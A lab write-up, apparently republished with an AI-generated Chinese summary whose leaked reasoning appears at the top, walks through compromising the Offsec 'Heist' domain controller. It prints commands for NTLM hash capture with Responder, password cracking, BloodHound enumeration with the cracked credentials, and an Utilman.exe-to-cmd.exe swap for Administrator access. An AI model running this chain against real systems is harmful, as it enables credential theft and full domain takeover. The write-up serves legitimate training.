Proving Grounds — Practice — Heist
嗯,用户让我总结一下这篇文章的内容,控制在100字以内,而且不需要特定的开头。首先,我得仔细阅读文章,理解它的主要点。 文章讲的是一个名为Heist的Offsec靶机的渗透测试过程。用户提到这个靶机被Offsec评为困难,但社区认为更难。文章详细描述了攻击者如何利用SSRF漏洞进入系统,然后通过GMSA提升权限,最后使用SeRestorePrivilege成为管理员。 我需要抓住关键点:靶机名称、难度、攻击步骤和最终目标。然后用简洁的语言把这些整合起来,确保不超过100字。 可能会遇到的问题是如何在有限的字数内涵盖所有关键步骤。可能需要简化一些技术术语,比如SSRF和GMSA,但要保持准确。 最后检查一下是否符合要求:直接描述内容,没有特定开头,并且控制在100字以内。 </think> 文章描述了一次针对Offsec靶机Heist的渗透测试过程。攻击者利用SSRF漏洞进入系统,通过GMSA提升权限,并最终利用SeRestorePrivilege成功获取Administrator权限。 2026-3-30 07:7:59 Author: infosecwriteups.com(查看原文) 阅读量:5 收藏

Makoyi

AI image created by https://deepai.org/machine-learning-model/hologram-3d-generator

Proving Grounds Practice box Heist is rated hard by Offsec, but the community disagrees and rated it very hard. I originally saw this box on TJ Null’s OSCP prep list for Active Directory practice, and I would have to agree that it is great practice. The box starts out with a SSRF vulnerability in the web application, then leveraging GMSA to escalate privileges, and finishing it off with SeRestorePrivilege to escalate to Administrator. With that being said, let’s crack into the box.

Get Makoyi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

— NMAP Scan

makoyi@kali 27/03/26 11:02 [~] 
❯ sudo nmap -Pn -n 192.168.148.165 -sC -sV -p- --open
[sudo] password for makoyi:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-27 11:02 -0500
Nmap scan report for 192.168.148.165
Host is up (0.14s latency).
Not shown: 65513 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-27 16:09:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: heist.offsec, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: heist.offsec, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: HEIST
| NetBIOS_Domain_Name: HEIST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: heist.offsec
| DNS_Computer_Name: DC01.heist.offsec
| DNS_Tree_Name: heist.offsec
| Product_Version: 10.0.17763
|_ System_Time: 2026-03-27T16:10:01+00:00
|_ssl-date: 2026-03-27T16:10:40+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.heist.offsec
| Not valid before: 2026-03-26T16:00:07
|_Not valid after: 2026-09-25T16:00:07
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp open http Werkzeug httpd 2.0.1 (Python 3.9.0)
|_http-server-header: Werkzeug/2.0.1 Python/3.9.0
|_http-title: Super Secure Web Browser
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49765/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2026-03-27T16:10:03
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 504.87 seconds

The web server on port 8080 was the first thing that stood out to me, with nothing else in the scan standing out too much, I navigated to the web page.

Press enter or click to view image in full size

Now that looks interesting. I started a python server and input my IP address into the input field, to see what would happen.

Ok, well that’s a good sign that we can take advantage of the web application. After a bunch of trial and error attempting to gain reverse shells from various payloads and failing, I decided to pivot and set up responder, to see if there was any other information being sent.

makoyi@kali 27/03/26 11:29 [~] 
❯ sudo responder -I tun0

Press enter or click to view image in full size

Alright! Pivoting seemed to work and gave us an NTLM hash that we can use John the Ripper to crack.

makoyi@kali 27/03/26 11:34 [~] 
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
california (enox)
1g 0:00:00:00 DONE (2026-03-27 11:34) 100.0g/s 204800p/s 204800c/s 204800C/s 123456..lovers1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Now that we have a username and a password, let’s see what we can do with it. I started by enumerated smb to see if the password would work, and success!

Press enter or click to view image in full size

There wasn’t anything too interesting at first glance in the smb shares, so I decided to see if the credentials could be used for any other services. I started with winrm with some wishful thinking, and look at that, it works.

Press enter or click to view image in full size

Now that we’re logged in and grabbed our local.txt file, it’s time to see if we can escalate to a higher account. After awhile of searching for a path, checking whoami /priv, checking SPN, and attempting to use PowerUp.ps1, the most I could find is that there’s another account named svc_apache$. I figured that at this point, I should go ahead and use bloodhound to see if it can help me find a target path.

makoyi@kali 27/03/26 11:52 [~] 
❯ bloodhound-python -d heist.offsec -u 'enox' -p 'california' -dc '192.168.148.165' -c all

The first thing I like to do after adding the account to owned, is to check what outbound controls the account has.

Press enter or click to view image in full size

Looks like enox is a member of the web admins group with ReadGMSAPassword of the svc_apache$ user. I decided to use bloodhound’s suggested way of using windows, so I downloaded a precompiled GMSAPasswordReader and used it to grab the rc4 hash of svc_apache$.

Press enter or click to view image in full size

Now, we pass the hash using evil-winrm and check our privileges, to see what we can do.

Press enter or click to view image in full size

SeRestorePrivileges is an interesting find, but I’m going to keep looking around to see if there’s anything else interesting.

Press enter or click to view image in full size

Well, that didn’t take long to find something interesting, it was inside the directory we logged into. By using cat on the file, it gives a helpful hint on how to escalate our privileges using SeRestore. By going to the github address listed, it gives us step by step instructions on how to abuse SeRestore.

Press enter or click to view image in full size

Using evil-winrm, we follow along with the steps.

*Evil-WinRM* PS C:\Users\svc_apache$\Documents> cd C:\Windows\System32
*Evil-WinRM* PS C:\Windows\System32> ren Utilman.exe Utilman.old
*Evil-WinRM* PS C:\Windows\System32> ren cmd.exe Utilman.exe

Now, we use rdesktop

rdesktop 192.168.148.165

Once it has booted up, we press Windows + U to open a command terminal as Administrator.

Press enter or click to view image in full size

Thank you for reading!

I hope this walk-through helps, stay ethical, and happy hacking.


文章来源: https://infosecwriteups.com/proving-grounds-practice-heist-ed0bef92cc02?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh